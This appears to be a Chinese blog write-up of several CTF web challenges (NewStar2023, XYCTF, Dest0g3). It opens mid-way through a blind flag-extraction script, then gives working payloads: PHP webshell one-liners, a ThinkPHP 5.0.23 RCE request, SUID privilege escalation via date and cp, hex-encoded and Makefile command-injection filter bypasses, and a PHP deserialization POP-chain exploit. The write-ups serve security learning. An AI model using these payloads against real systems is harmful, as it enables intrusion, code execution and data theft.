{} ];then sleep 2;fi'.format(catalog,flag_name,i,(k))# print(get_flag_cmd)get_flag_payload=base_payload.format(len(get_flag_cmd),get_flag_cmd)data['payload']=get_flag_payloadif condition(url,data):flag+=kprint(flag)try_flag()
# print(str_list)

省略了获取flag文件内容字符的过程,直接1到70,只要前面的能爆出来就ok,不影响

在这里插入图片描述

访问太多,容易报错,而且不知道为啥 {}没有盲出来

NewStar2023 So Baby RCE Again

源码:

<?php
error_reporting(0);
if(isset($_GET["cmd"])){if(preg_match('/bash|curl/i',$_GET["cmd"])){echo "Hacker!";}else{shell_exec($_GET["cmd"]);}
}else{show_source(__FILE__);
}

无回显,尝试 ls / | tee /var/www/html/a,写入,访问a发现有结果

在这里插入图片描述

尝试 cat /ffll444aaggg | tee /var/www/html/b,但是访问b,没有结果,估计权限有问题,写个一句话拿shell看看

?cmd=echo "<%3fphp echo 'hello';@eval(\$_POST[cmd]);%3f>" > shell.php

在这里插入图片描述

写入成功,蚁剑连接,看看flag文件的权限

在这里插入图片描述

果然是权限不够,尝试suid提权,看看什么命令有suid root权限

在这里插入图片描述

date就有,直接date -f读取即可

在这里插入图片描述

NewStar2023 Final

一打开是thinkphp的首页,输入s=1,报错看版本信息

在这里插入图片描述

是5.0.23,使用对应的poc

get:/?s=captcha
post:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

但是没有回显命令的结果,估计是system被ban了,看一下phpinfo

post:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=15

phpinfo()函数其实是可以传一个整数参数进去的,随便传个

在这里插入图片描述

果然被ban了,用exec写个一句话

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo '<?php echo "hello";@eval($_POST[cmd]);?>' > shell.php 

在这里插入图片描述

蚁剑链接,发现没有权限去读flag

在这里插入图片描述

尝试suid提权

find / -user root -perm -4000 -print 2>/dev/null

在这里插入图片描述

cp有suid权限,直接cp /flag_dd3f6380aa0d /dev/stdout

在这里插入图片描述

在上网找资料的同时,还发现了thinkphp rce漏洞的自动化利用工具,https://github.com/Lotus6/ThinkphpGUI

是java工具,进入release下载jar包就可运行

在这里插入图片描述

不过写一句话getshell这里失败,估计也是用system实现的

xyctf:ez?make

过滤了f,l,a,g,?*;用16进制绕过

echo "636174206d616b6566696c652e706870" | xxd -r -p|sh
把十六进制数据用xxd转为二进制,再用shell执行

源码:

<?php
function waf($cmd) {if (preg_match('/\n|\r|f|l|a|g|\?|\*|\;|\/|source|SOURCE|\$|\@/',$cmd)){return false;}return $cmd;
}$cmd = waf($_GET['cmd']);if ($cmd === false) {echo json_encode(array('makefileContent' => 'failed', 'output' => 'no'));
} else {$makefileContent = <<<EOD
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
\t$cmd
EOD;if (file_put_contents('Makefile', $makefileContent) !== false) {$command = "make -f Makefile 2>&1";$output = shell_exec($command);echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));} else {echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));}
}
?>

xyctf:ezmakefile

用makefile执行系统命令的语法,如: ${shell,ls}
源码:

<?php
// 定义一个函数用于简单的命令注入防御
function waf($cmd) {// 使用正则表达式检查命令中是否包含一些特殊字符if (preg_match('/\/|\n|\r|\;|\|/i', $cmd)) {// 如果命令中包含了特殊字符,则返回 false,表示命令不安全return false;}// 如果命令安全,则直接返回命令return $cmd;
}// 从 GET 请求中获取命令参数,并通过 waf() 函数进行检查
$cmd = waf($_GET['cmd']);// 如果命令不安全,则返回错误信息
if ($cmd === false) {echo json_encode(array('makefileContent' => 'failed', 'output' => 'nonono'));
} else {// 如果命令安全,则构造 Makefile 内容$makefileContent = <<<EOD
# Makefile 内容:
# 设置 shell 解释器为 /bin/bash
SHELL := /bin/bash# 如果环境变量 PATH 未定义,则重新定义为空字符串
ifndef PATH
override PATH :=
else
override PATH :=
endif# 声明伪目标 FLAG,用于确保 Makefile 中的命令总是被执行
.PHONY: FLAG# 定义 FLAG 目标,依赖于 ./flag 文件和用户输入的命令
FLAG: ./flag \t$cmd
EOD;// 将生成的 Makefile 内容写入 Makefile 文件中if (file_put_contents('Makefile', $makefileContent) !== false) {// 构造执行命令$command = "make -f Makefile 2>&1";// 使用 shell_exec() 函数执行命令,并捕获执行结果$output = shell_exec($command);// 返回生成的 Makefile 内容和执行结果echo json_encode(array('makefileContent' => $makefileContent, 'output' => $output));} else {// 如果写入文件失败,则返回错误信息echo json_encode(array('makefileContent' => 'failed', 'output' => 'failed'));}
}
?>

xyctf 牢大

题目源码:

<?php
highlight_file(__FILE__);
function Kobe($cmd)
{if (strlen($cmd) > 13) {die("see you again~");}if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {die("肘死你");}foreach ($_GET as $val_name => $val_val) {if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {return "what can i say";}}return $cmd;
}
$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd  . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

对cmd参数进行了过滤,用eval,但过滤了system,明显是无回显rce,而且长度有限制,只能用反引号执行命令

而且对长度有限制,只ban了fla,没有g、$,很明显可以用get参数逃逸对长度的限制

前面加了#,我们使用%0a,即换行绕过,因为#是单行注释,后面的manbaout可以用%23,即#注释掉,所以现在传的参数大概如下

?cmd=%0a`$_GET[b]`;%23&b=

看第二个过滤,其实已经提示了可以用cp或mv把flag带过来,但是路径表示不出来,后面看wp才发现,路径原来也能用通配符匹配

%0a`$_GET[b]`;%23&b=c''p /[e-g][k-m][0-b][e-h] /v[0-b]r/www/htm[j-m]

访问/flag即可得到flag

xyctf ezpop

源码

<?php
error_reporting(0);
highlight_file(__FILE__);class AAA
{public $s;public $a;public function __toString(){echo "you get 2 A <br>";$p = $this->a;return $this->s->$p;}
}class BBB
{public $c;public $d;public function __get($name){echo "you get 2 B <br>";$a=$_POST['a'];$b=$_POST;$c=$this->c;$d=$this->d;if (isset($b['a'])) {unset($b['a']);}call_user_func($a,$b)($c)($d);}
}class CCC
{public $c;public function __destruct(){echo "you get 2 C <br>";echo $this->c;}
}if(isset($_GET['xy'])) {$a = unserialize($_GET['xy']);throw new Exception("noooooob!!!");
}

pop链很简单,异常也可以fast-destruct绕过,问题在于call_user_func如何让他套娃调用执行命令

call_user_func($a,$b)($c)($d);

已知$b是POST数组,所以$a要是操作数组的方法

想要出现system(‘ls’)的情况,$d设为ls即可,但是system怎么来呢?如果直接通过$a方法从$_POST中取出system,也是不行的,因为还有个$c

可以使用hex2bin方法,想办法在POST数组取出hex2bin,然后$c设为system的十六进制编码,执行完call_user_func($a,$b)($c)结果即为system,就能执行$d的命令了

所以exp:

<?php
error_reporting(0);
class AAA
{public $s;public $a;
}
class BBB
{public $c;public $d;
}
class CCC
{public $c;
}
$obj=new CCC();
$obj->c=new AAA();
$obj->c->s=new BBB();
$obj->c->s->c='73797374656d';
$obj->c->s->d='cat /flag';
echo (serialize($obj));
# 去掉结尾的一个},破坏序列化结构,
#O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:12:"73797374656d";s:1:"d";s:9:"cat /flag";}s:1:"a";N;}
?>

post传

a=current&b=hex2bin

post中a赋值给$a后,就会被删除,所以直接current就能取到第一个元素b的值hex2bin

在这里插入图片描述

Dest0g3 520迎新赛SimpleRCE

<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

过滤了很多,尝试编码,拼接,\ .都被ban了

尝试hex2bin可以执行命令

hex2bin('73797374656d')(hex2bin('6c73202f')); #system('ls /');

在这里插入图片描述

后面直接读取flag即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/831303.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI图书推荐:用ChatGPT快速创建在线课程

您是否是您领域的专家&#xff0c;拥有丰富的知识和技能可以分享&#xff1f;您是否曾想过创建一个在线课程&#xff0c;但被这个过程吓倒了&#xff1f;那么&#xff0c;是时候把这些担忧放在一边&#xff0c;迈出这一步了&#xff01;有了这本指南和ChatGPT的帮助&#xff0c…

设计模式: 模板模式

目录 一&#xff0c;模板模式 二&#xff0c;特点 三&#xff0c;组成部分 四&#xff0c;实现步骤 五&#xff0c;案例 一&#xff0c;模板模式 模板模式&#xff08;Template Pattern&#xff09;是一种行为型设计模式&#xff0c;它在超类中定义了一个算法的骨架&#…

Node.js -- mongoose

文章目录 1. 介绍2. mongoose 连接数据库3. 插入文件4. 字段类型5. 字段值验证6. 文档处理6.1 删除文档6.2 更新文档6.3 读取文档 7. 条件控制8. 个性化读取9. 代码模块化 1. 介绍 Mongoose是一个对象文档模型库&#xff0c;官网http://www.mongoosejs.net/ 方便使用代码操作mo…

next.js v14 从入门到跑路

用next.js也有几天了&#xff0c;也是这么一个边看边用这么一个状态&#xff0c;现在主要使用app router模式&#xff0c;更新下next.js v14 app router模式方面的姿势吧。 区别于前面的pages router, app router虽然也是根据目录结构来划分路由&#xff0c;但是它不再依赖于使…

【Godot4.2】EasyTreeData通用解析

概述 之前在《【Godot4.2】Tree控件自定义树形数据ETD及其解析》一文中&#xff0c;实现了对带缩进的层级结构文本的解析&#xff0c;并将其用于Tree控件的列表项构造。 不过当时并没有实现专门的类&#xff0c;今天花了一点时间实现了一下。现在可以更方便的构造和解析ETD数…

数据库面试常问

数据定义语言&#xff08;DDL&#xff09;&#xff1a; CREATE TABLE&#xff1a;用于创建数据库表格。例如&#xff1a;CREATE TABLE students (id INT, name VARCHAR(50), age INT);DROP TABLE&#xff1a;用于删除数据库表格。例如&#xff1a;DROP TABLE students;CREATE I…

“Unite“ > MacOS下很不错的网站转应用App的工具

前言 前不久在浏览mac论坛&#xff0c;无意了解到一款非常好的工具&#xff0c;可以将网站转换为app&#xff0c;考虑到我们现在的主要应用都从本地客户端转成web形式使用&#xff0c;但基于本能的使用习惯&#xff0c;还是希望有个快捷的访问信息&#xff0c;这个应用非常适合…

数组删除元素

数组删除元素 1.利用新的数组 将原数组arr的元素&#xff0c;复制到新数组newArr中&#xff0c;复制过程中将要删除的元素&#xff0c;选择不复制 public class Test01{public static void main(String [] args){String [] arr {"zhangsan","lisi","…

C语言——操作符保姆级教学(含整形提升及算数转换)

操作符 一.操作符的分类二.原码、反码、补码三.移位操作符1.左移操作符&#xff1a;<<2.右移操作符&#xff1a;>> 四.位操作符1.按位与—— &2.按位或—— |3.按位异或—— ^4.按位取反—— ~ 五.逗号表达式六.条件操作符七.操作符的属性&#xff1a;优先级、…

408数据结构-树的基本概念与性质 自学知识点整理

树的定义 树是 n n n&#xff08; n ≥ 0 n≥0 n≥0&#xff09;个结点的有限集。当 n 0 n0 n0时&#xff0c;称为空树。 任意一棵非空树应具有以下特性&#xff1a; 有且仅有一个特定的被称为根的结点&#xff08;根结点&#xff09;。当 n &#xff1e; 1 n&#xff1e;1 …

PotatoPie 4.0 实验教程(32) —— FPGA实现摄像头图像浮雕效果

什么是浮雕效果&#xff1f; 浮雕效果是一种图像处理技术&#xff0c;用于将图像转换为看起来像浮雕一样的效果&#xff0c;给人一种凸起或凹陷的立体感觉&#xff0c;下面第二张图就是图像处理实现浮雕效果。 不过这个图是用Adobe公司的PS人工P图实现的&#xff0c;效果比较…

第一课 自动驾驶概述

1. contents 2. 什么是无人驾驶/自动驾驶 3 智慧出行大智慧 4. 无人驾驶的发展历程

Tracecat:开源 SOAR

Tracecat 是一个面向安全团队的开源自动化平台。 开发人员认为&#xff0c;每个人都应该可以使用安全自动化&#xff0c;特别是人手不足的中小型团队。 核心功能、用户界面和日常工作流程基于一流安全团队的现有最佳实践。 使用专门的人工智能模型来标记、总结和丰富警报。 …

Vagrant CentOS7 安装 Docker 及使用 Docker 安装 MySQL

1、安装 Docker 1.1、删除旧版本 sudo yum remove docker \docker-client \docker-client-latest \docker-common \docker-latest \docker-latest-logrotate \docker-logrotate \docker-engine 1.2、安装必要的依赖包 sudo yum install -y yum-utils 1.3、配置源地址&#xf…

Spark RDD的分区与依赖关系

Spark RDD的分区与依赖关系 RDD分区 RDD&#xff0c;Resiliennt Distributed Datasets&#xff0c;弹性式分布式数据集&#xff0c;是由若干个分区构成的&#xff0c;那么这每一个分区中的数据又是如何产生的呢&#xff1f;这就是RDD分区策略所要解决的问题&#xff0c;下面我…

<Linux> 权限

目录 权限人员相对于文件来说的分类更改权限文件的拥有者与所属组 权限 权限是操作系统用来限制对资源访问的机制&#xff0c;权限一般分为读、写、执行。系统中的每个文件都拥有特定的权限、所属用户及所属组&#xff0c;通过这样的机制来限制哪些用户、哪些组可以对特定文件…

VULHUB复现log4j反序列化漏洞-CVE-2021-44228

本地下载vulhub复现就完了&#xff0c;环境搭建不讲&#xff0c;网上其他文章很好。 访问该环境&#xff1a; POC 构造&#xff08;任选其一&#xff09;&#xff1a; ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn} ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}我是…

Redis 实现分布式Session 登录相关细节

Redis 实现分布式Session 登录 借助 Redis 对 Session 信息进行统一的存储和管理&#xff0c;这样无论请求发送到哪台服务器&#xff0c;服务器都会去同一个 Redis 获取相关的 Session 信息&#xff0c;这样就解决了分布式系统下 Session 存储的问题。 【发送短信】校验手机号…

centos 中使用 kubekey 安装 k8s v1.22.12 支持 GPU 调用

环境准备&#xff1a; https://blog.csdn.net/m0_64519023/article/details/138184970 生成配置文件&#xff1a; 中间需要执行 ./kk create config --with-kubernetes v1.22.12 这个命令生成配置文件&#xff0c;保留生成的配置文件中 spec: hosts 下的 node1&#xff0c;将…

NLP自然语言处理和应用场景介绍

【A】NLP&#xff08;Natural Language Processing&#xff0c;自然语言处理&#xff09;是计算机科学与人工智能领域的一个分支&#xff0c;旨在让机器能够理解、解释、生成人类语言。它涵盖了语言文本的语法、语义、语用、语境等方面的处理。 NLP的具体应用场景包括但不限于…